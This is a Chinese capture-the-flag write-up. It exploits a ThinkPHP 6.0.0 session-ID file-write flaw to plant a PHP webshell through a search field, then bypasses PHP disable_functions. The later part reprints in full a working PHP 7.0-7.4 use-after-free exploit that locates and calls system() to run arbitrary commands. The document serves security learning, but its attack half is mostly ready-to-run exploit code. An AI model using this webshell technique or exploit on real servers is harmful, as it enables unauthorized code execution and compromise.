主要考察ThinkPHP6.0的一個任意文件寫入的CVE以及突破disable_function的方法。
ThinkPHP6.0.0任意文件操作漏洞
理論分析
進入題目是一個簡單的操作頁面，dirmap掃出來www.zip源碼泄露：
下載下來看一下源碼目錄：
很明顯的ThinkPHP框架，讓網頁隨便報個錯看看版本：
發現版本為6.0.0，一般線上CTF題目中出現ThinkPHP這種框架時，多是考察近期該框架爆出的通用漏洞，像是XCTF外卡賽“高校戰‘疫’”的PHP-UAF便是考察了一個PHP近期的漏洞。
因此做一些線上題遇到框架時一定要有判斷框架、確定版本、查找漏洞的做題意識（這里強調線上是因為在線下賽中很有可能直接扔一個0day讓你自己審計，難度跨度可想而知）
百度一下“ThinkPHP6.0.0 漏洞”，發現這個版本的漏洞其實還是比較多的：
這個時候就需要根據網站的功能點和代碼來確定到底存在什么漏洞。
回到網站本身，我們發現除了登錄和注冊功能以外，還有一個搜索功能，放在這里其實有點突兀，但是仍舊不能確定是什么漏洞。
那就從源碼上看看這個搜索功能進行了什么操作，首先在app/home/controller/Member.php中找到網站功能的源碼，重點關注這里：
......<以上代碼省略> public function search() { if (Request::isPost()){ if (!session('?UID')) { return redirect('/home/member/login'); } $data = input("post."); $record = session("Record"); if (!session("Record")) { session("Record",$data["key"]); } else { $recordArr = explode(",",$record); $recordLen = sizeof($recordArr); if ($recordLen >= 3){ array_shift($recordArr); session("Record",implode(",",$recordArr) . "," . $data["key"]); //注意這里，直接將搜索的內容寫入了服務器生成的SESSION文件中 return View::fetch("result",["res" => "There's nothing here"]); } } session("Record",$record . "," . $data["key"]); return View::fetch("result",["res" => "There's nothing here"]); }else{ return View("search"); } } }
這個時候根據ThinkPHP6.0.0版本的漏洞成因，不難分析出是一個由於不安全的 SessionId 導致的任意文件操作漏洞
漏洞成因參考: ThinkPHP6 任意文件操作漏洞分析，這里我們不過多闡述漏洞成因
我們重點關注漏洞利用的方法：
本地環境復現
很簡單，只需要構造 PHPSESSID 的值即可，值為 string&&長度為 32
此時查看一下生成的 session，生成的 session 文件保存在 \runtime\session 下
session 里的內容：
a:1:{s:4:"name";s:8:"thinkphp";}可以看到 session 的內容經過了序列化操作，只要將 session 的內容反序列化即可 getshell
如果要 getshell 的話，后端需要有類似的
Session::Set('name',$_POST['i'])代碼才可以利用......
這個師傅構造了一個向SESSION中寫入值的類和函數，但是在本題中，搜索的內容直接被寫入了SESSION：
session("Record",implode(",",$recordArr) . "," . $data["key"]);
這也正是我們的突破點，我們的攻擊思路也就隨之明晰：
- 注冊一個用戶
- 登錄用戶，登陸時Burp抓包修改PHP_SESSION=<長度為32位的字符串(即文件名)> 這里需要寫成php文件來讓服務器解析，因此構造成0123456789012345678912345678.php即可滿足條件（文件名28位數字+".php"拓展名4位字符串，長度共32位，滿足SESSION條件）
- 在搜索框輸入Shell（即向0123456789012345678912345678.php寫入的內容）並且搜索
- 這里需要知道的是SESSION文件通常以sess_<值>的形式來儲存，我們在提交完Shell內容之后可以在\runtime\sessionsess_0123456789012345678912345678.php中得到我們的Shell
攻擊過程
我們隨便注冊一個用戶ye:ye，然后在登錄時使用Burp抓包修改SESSION值：
然后在搜索頁面輸入我們的PHPShell並發送：
訪問/runtime/session/sess_1234567890123456789012345678.php得到Shell：
用蟻劍連接Shell，在根目錄下發現Flag和readflag文件：
但是發現無法直接讀取flag，應該是需要通過執行readflag得到flag，這個時候發現終端不能執行命令，這也正是本題的第二個考點。
突破disable_function限制執行命令
打個phpinfo()看一下禁用函數：
首先發現是PHP7.3.11版本，然后看看禁用函數：
可以看到禁用了大部分命令執行的函數，上次做這種類型的題目還是[BUUOJ記錄] [極客大挑戰 2019]RCE ME，當時是用蟻劍的突破disable_function插件執行的命令
嘗試之后發現在本題中行不通，百度了很久發現了一個PHP7.0-7.4版本的突破disable_function的exp，代碼如下：
<?php # PHP 7.0-7.4 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=76047 # debug_backtrace() returns a reference to a variable # that has been destroyed, causing a UAF vulnerability. # # This exploit should work on all PHP 7.0-7.4 versions # released as of 30/01/2020. # # Author: https://github.com/mm0r1 pwn("/readflag"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg = str_shuffle(str_repeat('A', 79)); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(str_repeat('A', 79)); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); } ?>
將執行的命令修改為 /readflag ，然后將exp上傳至Shell中即可獲得Flag：
這道題中牽扯到兩個PHP或PHP框架的通用漏洞，閑時很有必要深究一下這兩個通用漏洞的成因，加以學習，雖然是已公開的nday，但是本題略微修改了利用方式，對參賽者也是一個小的考察（畢竟做題不能光靠一手exp胡懟吧，總要有自己分析代碼、尋找漏洞利用點的能力